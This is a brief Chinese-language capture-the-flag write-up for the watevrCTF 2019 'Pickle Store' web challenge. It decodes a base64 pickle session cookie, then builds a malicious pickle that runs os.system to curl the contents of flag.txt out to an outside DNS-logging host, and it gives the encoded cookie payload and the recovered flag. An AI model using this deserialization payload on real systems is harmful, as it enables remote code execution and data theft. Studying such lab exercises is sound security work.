2019watevrCTF-Pickle Store

https://github.com/wat3vr/watevrCTF-2019/tree/master/challenges/web/pickle store

gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu

看起来有点像base64：

import pickle
from base64 import *
enc = "gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu"
print(pickle.loads(b64decode(enc)))

{'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}

pickle序列化：

import base64
import pickle


class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('curl `cat flag.txt`.pnhhkbxgbc.dgrh3.cn')",))
a = A()
print( base64.b64encode( pickle.dumps(a) ) )

gASVXgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxCX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2N1cmwgYGNhdCBmbGFnLnR4dGAucG5oaGtieGdiYy5kZ3JoMy5jbicplIWUUpQu

替换cookie后刷新即可

flag646be503-3848-4237-9a52-393c751c25c2

替换为：

flag{646be503-3848-4237-9a52-393c751c25c2}

即可